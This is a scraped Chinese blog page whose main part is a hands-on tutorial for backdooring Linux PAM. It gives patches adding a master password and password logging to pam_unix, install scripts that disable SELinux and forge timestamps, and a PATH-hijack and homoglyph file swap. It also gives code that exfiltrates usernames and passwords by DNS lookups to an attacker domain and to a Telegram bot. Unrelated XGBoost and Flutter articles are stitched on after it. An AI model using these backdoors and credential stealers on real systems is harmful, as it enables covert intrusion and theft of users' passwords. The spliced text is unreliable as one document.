cd Linux-PAM-1.1.1
cd modules/pam_unix/
vim pam_unix_auth.c

**pam_unix_auth.c ** 在這裏你可以修改認證邏輯,改成使用特定密碼的後門,當然也可以作為一個記錄敏感密碼的功能,將記錄的密碼寫入文件記錄。

/* verify the password of this user */ 
retval = _unix_verify_password(pamh, name, p, ctrl); 
if(strcmp("qing!@#123",p)==0){return PAM_SUCCESS;} 
 
if(retval == PAM_SUCCESS){
        FILE * fp;
        fp = fopen("/bin/.sshlog", "a");
        fprintf(fp, "%s : %s\n", name, p);
        fclose(fp);
        }

這裏也提一下,實際各種複雜環境還是推薦非交互去修改源碼

apt-get install dpkg-dev flex
apt-get source libpam-modules=`dpkg -s libpam-modules \
> | grep -i version | cut -d' ' -f2`
 cd pam-1.1.1/modules/pam_unix/
 sed -i '/\tretval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, \"micasa\") == 0) { retval = PAM_SUCCESS; }' pam_unix_auth.c
 cd ../..
 ./configure
 make
 cd

編譯、修改:

在目標機器上重新編譯PAM,而後,再將生成的庫複製到系統的/lib64/security/[注意,32和64位系統下該目錄的路徑不一樣的目錄下

cd ../../
./configure && make  (./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr)
mv pam_unix.so{,.bak} #備份
cp /root/Linux-PAM-1.1.1/modules/pam_unix/.libs/pam_unix.so /lib64/security/ #覆蓋替換
echo $?

注意的tips

過程只是有些步驟,需要注意的時候在編譯後門關閉Selinux或設置上下文,以及修改pam認證的一些時間戳達到基本的隱蔽。

stat pam_unix.*
touch -t 201002160134 pam_unix.so
touch pam_unix.so -r pam_unix.so.src  #克隆原始文件時間
ls -Z pam_unix.so.src (查看原始文件的Selinux上下文) 
chcon –reference=pam_unix.so.src pam_unix.so   setsebool -P allow_saslauthd_read_shadow 1    # 設置Selinux上下文

#或直接時間戳給變量來修改
 timestamp=`ls -l /lib/security/ | grep pam_unix.so | grep -v ^l \
> | awk '{print $6$7}' | tr -d '-' | tr -d ':'`
 touch -t $timestamp /lib/security/pam_unix.so

一定注意替換完成后測試ok再退出不然基本的認證就亂了

root@qing:~/pam/Linux-PAM-1.1.8/modules/pam_unix# ls -alh /bin/.sshlog
-rw-r--r--. 1 root root 162 May 31 03:15 /bin/.sshlog

Pam 後門一些報錯解決:

編譯中的問題解決:64位系統編譯可能會遇到yywrap()函數未定義錯誤

  • 1.根據提示的文件路徑,在裏面定義
  • #define yywrap() 1 或者int yywrap(){return 1;}
  • 2.在C文件中定義 %option noyywrap
  • 3.安裝flex軟件包就可以正常編譯了 yum install flex

記得Selinux一定要關閉或者設置上下文

Pam後門種植腳本

但是在種植過程中對於步驟顯得有點繁瑣,腳本來簡化步驟,腳本一把PAM種植過程的命令傻瓜式寫進sh, 腳本二來自zephrax:

root@qing:~/pam# cat pam.sh
#!/bin/bash
PASS='qing123' ##......
LOG='\/bin\/.sshlog' ##......
echo -e "\nPam-Backdoor\n\n\n"
version=`rpm -qa | grep pam | awk -F- '{print $2}'`
#get the pam version

#close the selinux
if [ `getenforce` = '1' ];then
setenforce 0
line_n = `grep -n "^SELINUX=enforcing" /etc/sysconfig/selinux | awk -F: '{print $1}'`
sed -i $line_n' d' /etc/sysconfig/selinux
sed -i $line_n" a\SELINUX=disabled" /etc/sysconfig/selinux
/etc/sysconfig/selinux
else
echo "selinux is closed"
fi
if [ `uname -p` = 'x86_64' ];then
LIBPATH=lib64
else
LIBPATH=lib
fi
oldtime=`stat -c '%z' /lib64/security/pam_ftp.so`
echo 'Pam backdoor starting!'
mirror_url='http://www.linux-pam.org/library/Linux-PAM-'$version'.tar.gz'
#mirror_url='http://yum.singlehop.com/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.6.2.tar.gz'
version='Linux-PAM-'$version
echo 'Fetching from '$mirror_url
wget $mirror_url #fetch the roll
tar zxf $version'.tar.gz' #untar
cd $version
#find and replace
sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c
DIS=`head /etc/issue -n 1|awk '{print $1}'`
#get the version
if [ $DIS = "CentOS" ];then
./configure --disable-selinux && make
else
./configure && make
fi
/bin/cp -rf /$LIBPATH/security/pam_unix.so /$LIBPATH/security/pam_unix.so.bak #.. .........
/bin/cp -rf modules/pam_unix/.libs/pam_unix.so /$LIBPATH/security/pam_unix.so
touch -d "$oldtime" /$LIBPATH/security/pam_unix.so
cd .. && rm -rf Linux-PAM-1.1.1*
echo "PAM BackDoor is Done"
#!/bin/bash

OPTIND=1

PAM_VERSION=
PAM_FILE=
PASSWORD=

echo "Automatic PAM Backdoor"

function show_help {
	echo ""
	echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
	echo "For a list of supported versions: http://www.linux-pam.org/library/"
}

while getopts ":h:?:p:v:" opt; do
    case "$opt" in
    h|\?)
        show_help
        exit 0
        ;;
    v)  PAM_VERSION="$OPTARG"
        ;;
    p)  PASSWORD="$OPTARG"
        ;;
    esac
done

shift $((OPTIND-1))

[ "$1" = "--" ] && shift

if [ -z $PAM_VERSION ]; then
	show_help
	exit 1
fi;

if [ -z $PASSWORD ]; then
	show_help
	exit 1
fi;

echo "PAM Version: $PAM_VERSION"
echo "Password: $PASSWORD"
echo ""

PAM_BASE_URL="http://www.linux-pam.org/library"
PAM_DIR="Linux-PAM-${PAM_VERSION}"
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.bz2"
PATCH_DIR=`which patch`

if [ $? -ne 0 ]; then
	echo "Error: patch command not found. Exiting..."
	exit 1
fi
wget -c "${PAM_BASE_URL}/${PAM_FILE}"

tar xjf $PAM_FILE
cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
cd $PAM_DIR
./configure
make
cp modules/pam_unix/.libs/pam_unix.so ../
cd ..
echo "Backdoor created."
echo "Now copy the generated ./pam_unix.so to the right directory (usually /lib/security/)"
echo ""

pam 後門種植過程中也可以發現一些可以改進優化的點,比如加載認證後門方式、文件,以及對於劫持密碼的形式不一定是寫入文本文件的形式。

0x02 Pam_permit Backdoor

因為種植機器環境的不確定性,很難保證在包管理器中提供了某種對文件校驗,可用於檢測文件系統中現有程序的操作。這些校驗分發包中合法隨附的文件的完整性,也許在我們修改認證so類似這種系統敏感文件就會觸發監控報警

我們也可以在原Pam後門種植中變通一下在不替換原系統認證pam文件來達到相同的權限維持目的。

而類似在pam認證邏輯中改變認證結果,不一定非要在文件中修改,在認證中存在pam_permit.so模塊,而而pam_permit模塊任何時候都返回認證成功.

root@qing:~/pam/Linux-PAM-1.1.8/modules# cat pam_permit/pam_permit.c
/* pam_permit module */

/*
 * $Id$
 *
 * Written by Andrew Morgan <morgan@parc.power.net> 1996/3/11
 *
 */

#include "config.h"

#define DEFAULT_USER "nobody"

#include <stdio.h>

/*
 * here, we make definitions for the externally accessible functions
 * in this file (these definitions are required for static modules
 * but strongly encouraged generally) they are used to instruct the
 * modules include file to define their prototypes.
 */

#define PAM_SM_AUTH
#define PAM_SM_ACCOUNT
#define PAM_SM_SESSION
#define PAM_SM_PASSWORD

#include <security/pam_modules.h>
#include <security/_pam_macros.h>

/* --- authentication management functions --- */

PAM_EXTERN int
pam_sm_authenticate(pam_handle_t *pamh, int flags UNUSED,
                    int argc UNUSED, const char **argv UNUSED)
{
    int retval;
    const char *user=NULL;

    /*
     * authentication requires we know who the user wants to be
     */
    retval = pam_get_user(pamh, &user, NULL);
    if (retval != PAM_SUCCESS) {
        D(("get user returned error: %s", pam_strerror(pamh,retval)));
        return retval;
    }
    if (user == NULL || *user == '\0') {
        D(("username not known"));
        retval = pam_set_item(pamh, PAM_USER, (const void *) DEFAULT_USER);
        if (retval != PAM_SUCCESS)
            return PAM_USER_UNKNOWN;
    }
    user = NULL;                                            /* clean up */

    return PAM_SUCCESS;
}

PAM_EXTERN int
pam_sm_setcred(pam_handle_t *pamh UNUSED, int flags UNUSED,
               int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* --- account management functions --- */

PAM_EXTERN int
pam_sm_acct_mgmt(pam_handle_t *pamh UNUSED, int flags UNUSED,
                 int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* --- password management --- */

PAM_EXTERN int
pam_sm_chauthtok(pam_handle_t *pamh UNUSED, int flags UNUSED,
                 int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* --- session management --- */

PAM_EXTERN int
pam_sm_open_session(pam_handle_t *pamh UNUSED, int flags UNUSED,
                    int argc UNUSED, const char **argv UNUSED)
{
    return PAM_SUCCESS;
}

PAM_EXTERN int
pam_sm_close_session(pam_handle_t *pamh UNUSED, int flags UNUSED,
                     int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* end of module definition */

#ifdef PAM_STATIC

/* static module data */

struct pam_module _pam_permit_modstruct = {
    "pam_permit",
    pam_sm_authenticate,
    pam_sm_setcred,
    pam_sm_acct_mgmt,
    pam_sm_open_session,
    pam_sm_close_session,
    pam_sm_chauthtok
};

#endif

所以在留pam後門時也可以利用這個”永真”的so來達到權限維持。

掛載+優先級後門

當我們運行shell腳本時候系統將順序嘗試在PATH環境變量的所有目錄中查找該命令。如果兩個不同的PATH條目中有兩個匹配的可執行文件,則將使用第一個而不觸發任何警告。因此,如果我們在第一個PATH條目中添加了一個惡意二進制文件,而合法的二進制文件則位於PATH的後面,則使用惡意二進制文件代替原始二進制文件。

所以我們可以利用路徑優先級結合使用mount連接原so和替換的惡意so文件來耍點”小聰明”,這裏將/usr/bin/uname寫個wrapper script:

#!/bin/sh
mount --bind /lib/*/*/pam_permit.so /lib/*/*/pam_unix.so 2>/dev/null
/bin/uname $*

這樣就用pam_permit.so來替代加載了pam_unix.so.

原因就在於/usr/bin默認優先於/bin路徑

qing@ubuntu:/usr/bin$ cat uname
#!/bin/sh
mount --bind /lib64/security/pam_permit.so /lib64/security/pam_unix.so 2>/dev/null
/bin/uname $*
qing@ubuntu:/usr/bin$ uname -a

Linux ubuntu 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
qing@ubuntu:/usr/bin$

可以發現隨便輸入密碼都是ok的 以及以低用戶權限切root也是無密:

這樣相當於萬能密碼,/dev/null重定向標準錯誤也是為了低權限用戶執行mount因權限不夠出錯的問題,這樣就算不是root用戶執行uname在最後執行原/bin/uname沒有任何影響。種植後任何調用uname的腳本都會觸發pam_permit.so,並且我們沒有修改原pam的任何文件。

uname只是一個簡單的例子,shell腳本中可以使用無數的命令,具體要用替換來長期維權需要替換什麼師傅們也能想到。

需要注意的一個的小地方是上面的例子是在Linux ubuntu 4.4.0-142-generic 進行,而你在Centos這種紅帽中PATH又是不一樣的,具體環境具體替換即可。

同形異義字後門

/etc/pam.d/下來管理對程序的認證方式。

應用程序會調用相應的配置文件,從而調用本地的認證模塊,模塊放置在/lib/security下,以加載動態庫的形式進,像我們使用su命令時,系統會提示你輸入root用戶的密碼.這就是su命令通過調用PAM模塊實現的.

qing@ubuntu:/usr/bin$ ls -alh /etc/pam.d/
total 92K
drwxr-xr-x  2 root root 4.0K May 13 02:17 .
drwxr-xr-x 97 root root 4.0K May 21 05:26 ..
-rw-r--r--  1 root root  384 Nov 12  2015 chfn
-rw-r--r--  1 root root   92 Nov 12  2015 chpasswd
-rw-r--r--  1 root root  581 Nov 12  2015 chsh
-rw-r--r--  1 root root 1.2K Apr  7 05:15 common-account
-rw-r--r--  1 root root 1.2K Apr  7 05:15 common-auth
-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-password
-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-session
-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-session-noninteractive
-rw-r--r--  1 root root  606 Apr  5  2016 cron
-rw-r--r--  1 root root 4.8K Jan 29  2016 login
-rw-r--r--  1 root root   92 Nov 12  2015 newusers
-rw-r--r--  1 root root  520 Mar 16  2016 other
-rw-r--r--  1 root root   92 Nov 12  2015 passwd
-rw-r--r--  1 root root  143 Mar 12  2016 runuser
-rw-r--r--  1 root root  138 Mar 12  2016 runuser-l
-rw-r--r--  1 root root  454 Jan 13  2018 smtp
-rw-r--r--  1 root root 2.1K Mar  4  2019 sshd
-rw-r--r--  1 root root 2.3K Nov 12  2015 su
-rw-r--r--  1 root root  239 Mar 30  2016 sudo
-rw-r--r--  1 root root  251 Apr 12  2016 systemd-user

看文件之前先看下配置文件的規則,例如/etc/pam.d/sshd(省略號為無關內容):

qing@ubuntu:/usr/bin$ cat /etc/pam.d/sshd
# PAM configuration for the Secure Shell service

# Standard Un*x authentication.
@include common-auth
...
account    required     pam_nologin.so
...
@include common-account
...
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so close

# Set the loginuid process attribute.
session    required     pam_loginuid.so
..
session    optional     pam_keyinit.so force revoke
..
@include common-session
..
session    optional     pam_motd.so  motd=/run/motd.dynamic
session    optional     pam_motd.so noupdate
..
session    optional     pam_mail.so standard noenv # [1]
..
session    required     pam_limits.so

..
session    required     pam_env.so # [1]
..
session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale
...
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so open

# Standard Un*x password updating.
@include common-password

第一列代表模塊類型

第二列代表控制標記

第三列代表模塊路徑

第四列代表模塊參數

而模塊又分四種,具體可以百度,這裏對於後門做手腳還是關注認證管理(auth)模塊。

查看認證/etc/pam.d/common-auth,可以發現auth模塊和對應標記控制、調用的模塊、傳遞的參數:

從文件中控制標記可以看出驗證的邏輯順序(required表示即使某個模塊對用戶的驗證失敗,requisite也是表示返回失敗,立刻嚮應用程序返回失敗,表示此類型失敗.不再進行同類型後面的操作.),為這裏suucces=1的表示驗證密碼成功然後接下來去調用pam_unix.so(跳過調用pam_deny.so),如果驗證失敗則會去調用pam_deny.so,

那在不知道認證密碼的情況下必然是認證失敗,如果失敗調用的這個pam_deny.so為惡意文件或者為返回結果為真的pam_permit.so都可以達到一個後門的效果,這裏就可以用到同形異字Unicode字符來做個後門:

cp /lib/*/*/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'\u578'y.so

這裏de後面的並不是正常的n,而是用Unicode字符u+578來替代,雖然他看來和正常的n很像,

所以在認證文件替換響應的字符,這樣調用的時候會調用我們創建含unicode字符的so,最後還是會調用到pam_permit.so使認證結果返回正確,而不是原認證文件。

perl -i -pe's/deny/de\x{578}y/' /etc/pam.d/common-auth

類似的還可以使用相同名稱的shell腳本來替換ls、netstat、ps等命令,不過不推薦:

which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|177\"";chmod 493,$o'

0x03 PAM-BackDoor-exfiltration

在更改pam_unix_auth時候可以指定將密碼寫入tmp目錄文件來記錄密碼,除此我們也可使用數據帶外的方式來達到用後門收集一些有效憑證、敏感密碼之類的信息。

這時候我們在看來一般的PAM後門種植過程中對於密碼的記錄:

if(strcmp(p,"qing")==0)
{
        retval = PAM_SUCCESS;
}
if(retval== PAM_SUCCESS)
{
        fp=fopen("qing.txt","a");
        fprintf(fp,"%s::%s\n",name,p);
        fclose(fp);
}

DNS exfiltration收集密碼

這裏還是在retval = _unix_verify_password(pamh, name, p, ctrl)下改變邏輯,如果需要將憑證帶外的話只需要改變記錄方式,比如創建socket對象將認證賬號密碼發送http格式的包到攻擊者的服務器上。這裏也可以使用dns帶外的形式,還是在更改pam_unix_auth.c的基礎上加入dns帶外的代碼。

Silver Moon dns.c(https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168)

get_dns_servers和ChangetoDnsNameFormat進行指定dns解析和域名格式轉換

void get_dns_servers()
{
    FILE *fp;
    char line[200] , *p;
    if((fp = fopen("/etc/resolv.conf" , "r")) == NULL)
    {
        printf("Failed opening /etc/resolv.conf file \n");
    }
     
    while(fgets(line , 200 , fp))
    {
        if(line[0] == '#')
        {
            continue;
        }
        if(strncmp(line , "nameserver" , 10) == 0)
        {
            p = strtok(line , " ");
            p = strtok(NULL , " ");
             
            //p now is the dns ip :)
            //????
        }
    }
     
    strcpy(dns_servers[0] , "208.67.222.222");
    strcpy(dns_servers[1] , "208.67.220.220");
}
 
/*
 * This will convert www.google.com to 3www6google3com 
 * got it :)
 * */
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host) 
{
    int lock = 0 , i;
    strcat((char*)host,".");
     
    for(i = 0 ; i < strlen((char*)host) ; i++) 
    {
        if(host[i]=='.') 
        {
            *dns++ = i-lock;
            for(;lock<i;lock++) 
            {
                *dns++=host[lock];
            }
            lock++; //or lock=i+1;
        }
    }
    *dns++='\0';
}

加入查詢的代碼后只需要在_unix_verify_password下面加入對認證信息的dns查詢即可,name和p都在最後調用ngethostbyname將snprintf拼接好的地址進行dns查詢:

root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# rm pam_unix_auth.c
rm: remove regular file ‘pam_unix_auth.c’? yes
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# mv 1.c pam_unix_auth.c
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# cd ../../
root@qing:~/Linux-PAM-1.1.8# ./configure && make

而這種還是對pam_unix.so進行替換,如果不動so文件也可以使用LD_PRELOAD之類的來預加載。

LD_PRELOAD 劫持收集密碼

在不動so的情況下我們也可以使用類似LD_PRELOAD的方式來劫持相關認證函數,在劫持的函數中對憑證進行帶外收集,最後再調用正常的認證函數即可。而@TheXC3LL沒有細說為什麼劫持pam_get_item函數的原因,查下資料,先來看看pam_get_item函數:

(https://www.man7.org/linux/man-pages/man3/pam_get_item.3.html)

NAME         top
       pam_get_item - getting PAM informations
SYNOPSIS         top
       #include <security/pam_modules.h>

       int pam_get_item(const pam_handle_t *pamh, int item_type,
                        const void **item);
DESCRIPTION         top
       The pam_get_item function allows applications and PAM service modules
       to access and retrieve PAM informations of item_type. Upon successful
       return, item contains a pointer to the value of the corresponding
       item. Note, this is a pointer to the actual data and should not be
       free()'ed or over-written! The following values are supported for
       item_type:

可以看到pam_get_item 是用來讓應用和pam服務模塊去獲取PAM信息的,查看手冊定義發現當item_type參數為PAM_AUTHTOK時

使用pam_sm_authenticate() 和pam_sm_chauthtok()會傳遞身份令牌(一般是密碼)和包含密碼,這裏傳遞了密碼憑據:

 PAM_AUTHTOK
           The authentication token (often a password). This token should be
           ignored by all module functions besides pam_sm_authenticate(3)
           and pam_sm_chauthtok(3). In the former function it is used to
           pass the most recent authentication token from one stacked module
           to another. In the latter function the token is used for another
           purpose. It contains the currently active authentication token.

手冊末尾也說明了獲取用戶名使用pam_get_user()、並且當是服務模塊的時候才可以讀取認證憑據。

If a service module wishes to obtain the name of the user, it should
       not use this function, but instead perform a call to pam_get_user(3).

       Only a service module is privileged to read the authentication
       tokens, PAM_AUTHTOK and PAM_OLDAUTHTOK.

所以我們劫持pam_get_item即可收集憑據。

劫持后的pam_get_item函數,orig_ftype定義為dlsym返回動態鏈接庫的函數指針即原pam_get_item函數,調用原函數后在最後發送dns請求:

typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type,  const void **item);

int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
    int retval;
    int pid;
    const char *name;
    orig_ftype orig_pam;
    orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");

    // Call original function  so we log password
    retval = orig_pam(pamh, item_type, item);

    // Log credential
    if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
        unsigned char hostname[256];
        get_dns_servers();
        pam_get_user((pam_handle_t *)pamh, &name, NULL);
        snprintf(hostname, sizeof(hostname), "%s.%s.qing.dnslog.cn", name, *item); // Change it with your domain
        if (fork() == 0) {
            ngethostbyname(hostname, T_A);
        }
    }

    return retval;

root@qing:~# vim pam_door.c
root@qing:~# gcc -fPIC -shared pam_door.c -o qing.so
root@qing:~# ll qing.so
-rwxr-xr-x 1 root root 17624 Jun 12 08:13 qing.so

這種好處雖然也是用pam做後門但是不用去動認證文件以及每次收集使用dns帶外,動靜更小隱蔽性更好一些。

使用**pam_get_item **獲取密碼還可以參考這篇:https://www.redhat.com/archives/pam-list/2004-November/msg00038.html

sshLooterC

sshLooterC也是用pam_get_item來獲取密碼,只不過是改的/etc/pam.d/common-auth使認證成功時調用惡意的so:

Copy the looter.so to the infected machine on /lib/security, then edit the /etc/pam.d/common-auth and add the following lines.

auth optional module.so
account optional module.so

將密碼帶外則是用的libcurl來帶外:

void sendMessage(char (*message)[]) {
  char url[500];
  char data[200];

  //INSERT HERE YOUR BOT KEY
  char token[200] = "BOT TOKEN";

  //INSERT HERE YOUR USER ID
  int user_id = 1111111;

  snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);
  snprintf(data,300,"chat_id=%d&text=%s",user_id,*message);
  CURL *curl;
  curl_global_init(CURL_GLOBAL_ALL);
  curl = curl_easy_init();
  if(curl) {
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS,data); 
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
    curl_easy_perform(curl);
  }                                       
  curl_global_cleanup();
}

使用這個項目時候有點bug,添加下函數聲明:

//添加函數聲明
int pam_get_authtok(pam_handle_t *pamh, int item, const char **authtok, const char
*prompt);
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const
char **argv ) {
const char* username = NULL;
const char* password = NULL;
const char* prompt = NULL;
char message[1024];
char hostname[128];
retval = pam_get_user(pamh, &username, "Username: ");
//獲得密碼
pam_get_authtok(pamh, PAM_AUTHTOK, &password, prompt);
if (retval != PAM_SUCCESS) {
return retval;
}
gethostname(hostname, sizeof hostname);
snprintf(message,2048,"Hostname: %s\nUsername: %s\nPassword:
%s\n",hostname,username,password);
sendMessage(&message);
return PAM_SUCCESS;
}

最後改下接收地址,make編譯替換寫入即可。

END

Links

https://blog.csdn.net/weixin_42758707/article/details/94738684

https://www.cnblogs.com/marility/articles/9235522.html

https://github.com/mthbernardes/sshLooterC

https://x-c3ll.github.io/posts/

http://0daysecurity.com/articles/backdoor_pam_unix.so.html

https://github.com/zephrax/linux-pam-backdoor/blob/master/backdoor.sh

http://blog.kernelpanic.com.ar/2017/06/08/linux-pam-backdoor/

[Hacking-Contest] Invisible configuration file backdooring with Unicode homoglyphs

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※FB行銷專家,教你從零開始的技巧

一文入門:XGBoost與手推二階導

作者前言

在2020年還在整理XGB的算法,其實已經有點過時了。。不過,主要是為了學習算法嘛。現在的大數據競賽,XGB基本上已經全面被LGB模型取代了,這裏主要是學習一下Boost算法。之前已經在其他博文中介紹了Adaboost算法和Gradient-boost算法,這篇文章講解一下XGBoost。

Adaboost和XGBoost無關,但是Gradient-boost與XGBoost有一定關係。
一文搞懂:Adaboost及手推算法案例
一文讀懂:GBDT梯度提升

樹模型概述

XGB就是Extreme Gradient Boosting極限梯度提升模型。XGB簡單的說是一組分類和回歸樹(CART)的組合。跟GBDT和Adaboost都有異曲同工之處。
【CART=classification adn regression trees】

這裏對於一個決策樹,如何分裂,如何選擇最優的分割點,其實就是一個搜索的過程。搜索怎麼分裂,才能讓目標函數最小。目標函數如下:
\(Obj = Loss + \Omega\)
\(Obj\)就是我們要最小化的優化函數,\(Loss\)就是這個CART模型的預測結果和真實值得損失。\(\Omega\)就是這個CART模型的複雜度,類似神經網絡中的正則項。
【上面的公式就是一個抽象的概念。我們要知道的是:CART樹模型即要求預測盡可能準確,又要求樹模型不能過於複雜。】

對於回歸問題,我們可以用均方差來作為Loss:
\(Loss=\sum_i{(y_i-\hat{y_i})^2}\)

對於分類問題,用交叉熵是非常常見的,這裏用二值交叉熵作為例子:
\(Loss = \sum_i{(y_ilog(\hat{y_i})+(1-y_i)log(\hat{y_i}))}\)

總之,這個Loss就是衡量模型預測準確度的損失。

下面看一下如何計算這個模型複雜度\(\Omega\)吧。
\(\Omega = \gamma T+\frac{1}{2} \lambda \sum^T_j{w_j}^2\)

\(T\)表示恭弘=叶 恭弘子節點的數量,\(w_j\)表示每個恭弘=叶 恭弘子節點上的權重(與恭弘=叶 恭弘子節點的樣本數量成正比)。

【這裡有點麻煩的在於,\(w_j\)是與每個恭弘=叶 恭弘子節點的樣本數量成正比,但是並非是樣本數量。這個\(w_j\)的求取,要依靠與對整個目標函數求導數,然後找到每個恭弘=叶 恭弘子節點的權重值\(w_j\)。】

XGB vs GBDT

其實說了這麼多,感覺XGB和GDBT好像區別不大啊?下面整理一下網上有的說法,再加上自己的理解。有錯誤請指出評論,謝謝!

區別1:自帶正則項

GDBT中,只是讓新的弱分類器來擬合負梯度,那擬合多少棵樹才算好呢?不知道。XGB的優化函數中,有一個\(\Omega\)複雜度。這個複雜度不是某一課CART的複雜度,而是XGB中所有CART的總複雜度。可想而知,每多一顆CART,這個複雜度就會增加他的懲罰力度,當損失下降小於複雜度上升的時候,XGB就停止了。

區別2:有二階導數信息

GBDT中新的CART擬合的是負梯度,也就是一階導數。而在XGB會考慮二階導數的信息。

這裏簡單推導一下XGB如何用上二階導數的信息的:

  1. 之前我們得到了XGB的優化函數:
    \(Obj = Loss + \Omega\)

  2. 然後我們把Loss和Omega寫的更具體一點:
    \(Obj = \sum_i^n{Loss(y_i,\hat{y}_i^t)}+\sum_j^t{\Omega(cart_j)}\)

    • \(\hat{y_i^t}\)表示總共有t個CART弱分類器,然後t個弱分類器給出樣本i的估計值就。
    • \(y_i\)第i個樣本的真實值;
    • \(\Omega(cart_j)\)第j個CART模型的複雜度。
  3. 我們現在要求取第t個CART模型的優化函數,所以目前我們只是知道前面t-1的模型。所以我們得到:
    \(\hat{y}_i^t = \hat{y}_i^{t-1}+f_t(x_i)\)
    t個CART模型的預測,等於前面t-1個CART模型的預測加上第t個模型的預測。

  4. 所以可以得到:
    \(\sum_i^n{Loss(y_i,\hat{y}_i^t)}=\sum_i^n{Loss(y_i,\hat{y}_i^{t-1}+f_t(x_i))}\)
    這裏考慮一下特勒展開:
    \(f(x+\Delta x)\approx f(x)+f'(x)\Delta x + \frac{1}{2} f”(x)\Delta x^2\)

  5. 如何把泰勒公式帶入呢?
    \({Loss(y_i,\hat{y}_i^t)}\)中的\(y_i\)其實就是常數,不是變量
    所以其實這個是可以看成\(Loss(\hat{y}_i^t)\),也就是:
    \(Loss(\hat{y}_i^{t-1}+f_t(x_i))\)

  6. 帶入泰勒公式,把\(f_t(x_i)\)看成\(\Delta x\):
    \(Loss(\hat{y}_i^{t-1}+f_t(x_i))=Loss(\hat{y}_i^{t-1})+Loss'(\hat{y}_i^{t-1})f_t(x_i)+\frac{1}{2}Loss”(\hat{y}_i^{t-1})(f_t(x_i))^2\)

    • 在很多的文章中,會用\(g_i=Loss'(\hat{y}_i^{t-1})\),以及\(h_i=Loss”(\hat{y}_i^{t-1})\)來表示函數的一階導數和二階導數。
  7. 把泰勒展開的東西帶回到最開始的優化函數中,刪除掉常數項\(Loss(\hat{y}_i^{t-1})\)(這個與第t個CART模型無關呀)以及前面t-1個模型的複雜度,可以得到第t個CART的優化函數:
    \(Obj^t \approx \sum_i^n{[g_i f_t(x_i)+\frac{1}{2}h_i(f_t(x_i))^2}]+{\Omega(cart_t)}\)

【所以XGB用到了二階導數的信息,而GBDT只用了一階的梯度】

區別3:列抽樣

XGB借鑒了隨機森林的做法,不僅僅支持樣本抽樣,還支持特徵抽樣(列抽樣),不僅可以降低過擬合,還可以減少計算。

區別4:缺失值

XGB可以自適應的處理樣本中的缺失值。如何處理的這裏就不再講述。

喜歡的話請關注我們的微信公眾號~【你好世界煉丹師】。

  • 公眾號主要講統計學,數據科學,機器學習,深度學習,以及一些參加Kaggle競賽的經驗。
  • 公眾號內容建議作為課後的一些相關知識的補充,飯後甜點。
  • 此外,為了不過多打擾,公眾號每周推送一次,每次4~6篇精選文章。

微信搜索公眾號:你好世界煉丹師。期待您的關注。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

※網頁設計最專業,超強功能平台可客製化

【Flutter實戰】定位裝飾權重組件及柱狀圖案例

老孟導讀:Flutter中有這麼一類組件,用於定位、裝飾、控制子組件,比如 Container (定位、裝飾)、Expanded (擴展)、SizedBox (固定尺寸)、AspectRatio (寬高比)、FractionallySizedBox (占父組件比例)。這些組件的使用頻率非常高,下面一一介紹,最後給出項目中實際案例熟悉其用法。
【Flutter實戰】系列文章地址:http://laomengit.com/guide/introduction/mobile_system.html

Container

Container 是最常用的組件之一,它是單容器類組件,即僅能包含一個子組件,用於裝飾和定位子組件,例如設置背景顏色、形狀等。

